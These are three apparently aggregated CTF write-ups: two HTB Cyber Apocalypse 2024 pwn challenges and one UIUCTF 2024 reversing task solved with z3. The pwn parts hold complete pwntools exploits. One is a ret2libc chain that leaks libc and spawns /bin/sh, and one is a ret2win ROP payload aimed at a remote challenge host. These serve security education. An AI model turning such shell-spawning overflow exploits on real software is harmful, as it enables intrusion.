rop.write(1, exe.got['write'])
rop.main()
io.sendline(b'A' * 64 + b'B' * 8 + rop.chain())
io.recvuntil(b'Configuring...\n\n')
write_leek = u64(io.recv(6).ljust(8, b'\x00'))
info(f'{hex(write_leek)=}')

libc = ELF('./glibc/libc.so.6', checksec=False)
libc.address = write_leek - libc.symbols['write']
libc_rop = ROP(libc)
libc_rop.system(next(libc.search(b'/bin/sh\x00')))
io.sendline(b'A' * 64 + b'B' * 8 + libc_rop.chain())

io.clean()
io.sendline(b'cat flag.txt')
warning('Flag: ' + io.recv().decode('utf-8'))

io.interactive()

Skills Learned

• buffer overflow
• ret2libc
• ROP (Return-Oriented Programming)
• GOT (Global Offset Table)
• PLT (Procedure Linkage Table)

HTB: Cyber Apocalypse 2024 — Pet Companion was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Difficulty: Easy

Description

Prepare for the ultimate showdown! Load your weapons, gear up for battle, and dive into the epic fray — let the fight commence!

Protection (checksec)

$ checksec
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'./glibc/'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Disassembly (ghidra)

We can notice in the read method, we read 0x66 (102) bytes of data, but the buffer is 32 bytes long.

Additionally, we find the fill_ammo function, which validates three parameters before reading and printing the flag.

Exploitation

• Overflows the buffer (32 bytes + 8 bytes for saved RBP)
• Uses Return-Oriented Programming (ROP) to call fill_ammo with the correct arguments

Solution (pwntools)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF(args.EXE or './rocket_blaster_xxx')

context.log_level = "INFO"
context(terminal=['tmux', 'split-window', '-h'])

host = args.HOST or '83.136.254.189'
port = int(args.PORT or 49069)


def start_local(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)


def start_remote(argv=[], *a, **kw):
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    if args.REMOTE:
        return start_remote(argv, *a, **kw)
    else:
        return start_local(argv, *a, **kw)

gdbscript = '''
init-gef
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
#    Arch:       amd64-64-little
#    RELRO:      Full RELRO
#    Stack:      No canary found
#    NX:         NX enabled
#    PIE:        No PIE (0x400000)
#    RUNPATH:    b'./glibc/'
#    SHSTK:      Enabled
#    IBT:        Enabled
#    Stripped:   No

io = start()

rop = ROP(exe)
rop.raw(rop.find_gadget(['ret']).address)
rop.fill_ammo(0xdeadbeef, 0xdeadbabe, 0xdead1337)
io.sendline(b'A' * 32 + b'B' *  8 + rop.chain())
io.recvuntil(b'Ready to launch at: ')

warning('Flag: ' + io.recv().decode('utf-8'))

io.interactive()

Skills Learned

• buffer overflow
• ret2win
• ROP (Return-Oriented Programming)

HTB: Cyber Apocalypse 2024 — Rocket Blaster XXX was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Summarize

Category: Reverse Engineering
Tags: reversing, ghidra, z3-solver

Description

All you have to do is find six numbers. How hard can that be?

Author: Nikhil

Disassembly (BinaryNinja/ghidra)

https://dogbolt.org/?id=8d09d83e-8514-464b-8722-515ca0f11d91

Based on the entry(), we know the program starts with the FUN_004011d6()/sub_4011d6(), which asks for six numbers, each is 9-digit long.
After that, there is a check method called FUN_0040137b()/sub_40137b(), which gets the numbers and does a bunch of examinations on them.
First, it checks if they are in the correct range.

if (
    (param_1 < 0x5f5e101) || (param_2 < 0x5f5e101) ||
    (param_3 < 0x5f5e101) || (param_4 < 0x5f5e101) ||
    (param_5 < 0x5f5e101) || (param_6 < 0x5f5e101)
) {
    uVar1 = 0;
}

Note: 0x5f5e101 = 100000001

if (
    (param_1 < 1000000000) && (param_2 < 1000000000) &&
    (param_3 < 1000000000) && (param_4 < 1000000000) &&
    (param_5 < 1000000000) && (param_6 < 1000000000)
) {
    uVar1 = FUN_004016d8(param_1,param_2);
    uVar2 = FUN_0040163d(uVar1,param_3);
    uVar3 = FUN_0040163d(param_1,param_2);
    uVar1 = FUN_004016fe(2,param_2);
    uVar4 = FUN_004016fe(3,param_1);
    uVar5 = FUN_004016d8(uVar4,uVar1);
    uVar6 = FUN_0040174a(param_1,param_4);
    uVar1 = FUN_0040163d(param_3,param_1);
    uVar7 = FUN_004017a9(param_2,uVar1);
    uVar11 = FUN_0040163d(param_2,param_4);
    uVar1 = FUN_0040163d(param_4,param_6);
    uVar8 = FUN_0040174a(param_3,uVar1);
    uVar9 = FUN_004016d8(param_5,param_6);
    uVar10 = FUN_0040163d(param_5,param_6);
    if (
        (uVar2 % 0x10ae961 == 0x3f29b9) &&
        (uVar3 % 0x1093a1d == 0x8bdcd2) &&
        (uVar5 % uVar6 == 0x212c944d) &&
        (uVar7 % 0x6e22 == 0x31be) &&
        (uVar11 % param_1 == 0x2038c43c) &&
        (uVar8 % 0x1ce628 == 0x1386e2) &&
        (uVar9 % 0x1172502 == 0x103cf4f) &&
        (uVar10 % 0x2e16f83 == 0x16ab0d7)
    ) {
        uVar1 = 1;
    }
}

After that, there are lots of (5*) functions we have to analyze, what they do.
Let's see them one by one.
The second one is called FUN_0040163d()/sub_40163d(), where BinaryNinja works a bit better, so I changed to that.

int64_t sub_40163d(uint32_t arg1, uint32_t arg2) __pure
{
    uint32_t var_2c = arg1;
    uint32_t var_30 = arg2;
    int64_t var_10 = 0;
    int32_t var_20 = 0;
    int32_t var_1c = 0;
    while (!((var_2c == 0 && var_30 == 0)))
    {
        int32_t rax_2 = (var_2c & 1);
        int32_t rax_4 = (var_30 & 1);
        var_2c = (var_2c >> 1);
        var_30 = (var_30 >> 1);
        var_10 = (var_10 + (((rax_2 ^ rax_4) ^ var_20) << var_1c));
        var_20 = ((rax_4 & var_20) | ((rax_2 & rax_4) | (rax_2 & var_20)));
        var_1c = (var_1c + 1);
    }
    return (var_10 + (var_20 << var_1c));
}

My first thought was “Holly Cow, what am I looking at?“. I admit, I couldn’t figure it out, so I rewrote it in a small python script and tested it with different inputs.

def sub_40163d(arg1, arg2):
    var_2c = arg1
    var_30 = arg2
    var_10 = 0
    var_20 = 0
    var_1c = 0
    while not (var_2c == 0 and var_30 == 0):
        print("var_2c != 0 || var_30 != 0")
        rax_2 = (var_2c & 1)
        print("rax_2 = ", rax_2)
        rax_4 = (var_30 & 1)
        print("rax_4 = ", rax_4)
        var_2c = (var_2c >> 1)
        print("var_2c = ", rax_4)
        var_30 = (var_30 >> 1)
        var_10 = (var_10 + (((rax_2 ^ rax_4) ^ var_20) << var_1c))
        var_20 = ((rax_4 & var_20) | ((rax_2 & rax_4) | (rax_2 & var_20)))
        var_1c = (var_1c + 1)

    return var_10 + (var_20 << var_1c)

for i in range(0, 10):
    for j in range(0, 10):
        print("sub_40163d(", i, ", ", j, ") => ", sub_40163d(i, j))

It turned out it is just an overcomplicated add method, so I continued with the first method called FUN_004016d8()/sub_4016d8(), where basically just calling the second one with a negative second parameter. So it is a negative add alias subtraction.
I checked the other methods and rewrote them if needed. The methods are addition(), subtraction(), multiplication(), xor() and and().
For better performance, I rewrite them in a simple way in python.

def add(param_1, param_2):
    return param_1 + param_2


def sub(param_1, param_2):
    return param_1 - param_2


def mul(param_1, param_2):
    return param_1 * param_2


def xor(param_1, param_2):
    return param_1 ^ param_2


def and_(param_1, param_2):
    return param_1 & param_2

Finally, I needed to solve the system of equations with 6 unknowns. Fortunately, there is a python tool called z3, which can solve difficult problems based on simple statements.
Luckily, we have simple statements, so put them into a python script.

Solution

from z3 import *


def add(param_1, param_2):
    return param_1 + param_2


def sub(param_1, param_2):
    return param_1 - param_2


def mul(param_1, param_2):
    return param_1 * param_2


def xor(param_1, param_2):
    return param_1 ^ param_2


def and_(param_1, param_2):
    return param_1 & param_2


a, b, c, d, e, f = BitVecs('a b c d e f', 32)

s = Solver()

s.add(a > 100000001)
s.add(b > 100000001)
s.add(c > 100000001)
s.add(d > 100000001)
s.add(e > 100000001)
s.add(f > 100000001)

s.add(a < 1000000000)
s.add(b < 1000000000)
s.add(c < 1000000000)
s.add(d < 1000000000)
s.add(e < 1000000000)
s.add(f < 1000000000)

uVar1 = sub(a, b)
uVar2 = add(uVar1, c)
uVar3 = add(a, b)
uVar1 = mul(2, b)
uVar4 = mul(3, a)
uVar5 = sub(uVar4, uVar1)
uVar6 = xor(a, d)
uVar1 = add(c, a)
uVar7 = and_(b, uVar1)
uVar11 = add(b, d)
uVar1 = add(d, f)
uVar8 = xor(c, uVar1)
uVar9 = sub(e, f)
uVar10 = add(e, f)

s.add(uVar2 % 0x10ae961 == 0x3f29b9)
s.add(uVar3 % 0x1093a1d == 0x8bdcd2)
s.add(uVar5 % uVar6 == 0x212c944d)
s.add(uVar7 % 0x6e22 == 0x31be)
s.add(uVar11 % a == 0x2038c43c)
s.add(uVar8 % 0x1ce628 == 0x1386e2)
s.add(uVar9 % 0x1172502 == 0x103cf4f)
s.add(uVar10 % 0x2e16f83 == 0x16ab0d7)

if s.check() == sat:
    m = s.model()
    print(f'a = {m[a]}\nb = {m[b]}\nc = {m[c]}\nd = {m[d]}\ne = {m[e]}\nf = {m[f]}')
else:
    print("No solution found")

This script solves our problem and prints the following result.

a = 705965527
b = 780663452
c = 341222189
d = 465893239
e = 966221407
f = 217433792

We just need to run the application and put the values there.

Skills Learned

• reversing and rewriting overcomplicated algorithms
• z3-solver

UIUCTF 2024 — Summarize was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.